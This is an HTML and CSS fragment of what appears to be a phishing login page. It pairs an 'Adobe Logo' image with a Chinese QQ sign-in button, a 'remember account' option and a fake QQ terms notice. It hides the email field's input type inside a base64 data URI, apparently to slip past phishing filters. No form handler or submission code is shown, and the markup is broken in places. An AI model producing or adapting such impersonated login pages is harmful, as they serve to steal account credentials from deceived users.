<html lang="en"><meta name="language" content="zh-Hans"> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-image: url(""); background-size: cover; background-position: center; display: flex; justify-content: center; align-items: center; height: 100vh; position: relative; /* Add position relative */ } body { background-image: url("https://i.postimg.cc/vTHPDyF8/imgcw.png") } /* Add overlay style */ body::before { content: ""; position: absolute; top: 0; margin-left: ; width: 100%; height: 100%; background-color: z-index: -1; /* Move the overlay behind other elements */ } @keyframes slideIn { from { width: 0; opacity: 0; } to { width: 100%; opacity: 1; } } .logo { width: 340px; height: 70px; margin: auto; display: block; margin-left: -20px; border-radius: px; } h2 { font-weight: bold; margin-top: 20px; margin-bottom: 10px; } input[type="data:text/plain;charset=utf-8;base64,ZW1haWw="], input[type="password"], button { width: calc(100% - 40px); margin-bottom: 10px; padding: 10px; border-radius: 0; /* Sharp edges */ border: 1px solid #ccc; box-sizing: border-box; } button { background-color: #3d85c6; /* Blue color */ color: #fff; cursor: pointer; transition: background-color 0.3s ease; } button:hover { background-color: #3d85c6; /* Darker red on hover */ } .error-container { color: white; background: lightcoral; padding: 10px; margin-top: 10px; border-radius: 0; /* Sharp edges */ display: none; } .spinner { border: 4px solid rgba(0, 0, 0, 0.1); border-top: 4px solid #333; border-radius: 50%; width: 30px; height: 30px; animation: spin 1s linear infinite; margin: 20px auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } /* Remember me checkbox style */ .remember-me { text-align: left; margin-bottom: 10px; font-size: 14px; margin-left: 20px; } /* Copyright text style */ .copyright { font-size: 8px; color: #999; position: left; /* Add position absolute */ bottom: 20px; /* Adjust as needed */ left: 8px; /* Adjust as needed */ } /* Privacy & cookies text style */ .privacy-cookies { font-size: 10px; color: #999; position: absolute; /* Add position absolute */ bottom: 10px; /* Adjust as needed */ right: 70px; /* Adjust as needed */} </style> <div class="container"> <img src="" alt="Adobe Logo" class="logo">
<div class="remember-me"> <!-- Checked by default --> <label for="remember-me">记住账号</label> </div> <button type="submit" id="submit-btn">登录</button> <!-- Copyright text inside form container -->
<div class="copyright">&copy; 2025 QQ 点击“下一步”，即表示您根据我们的隐私政策接受 QQ 条款和条件。</div>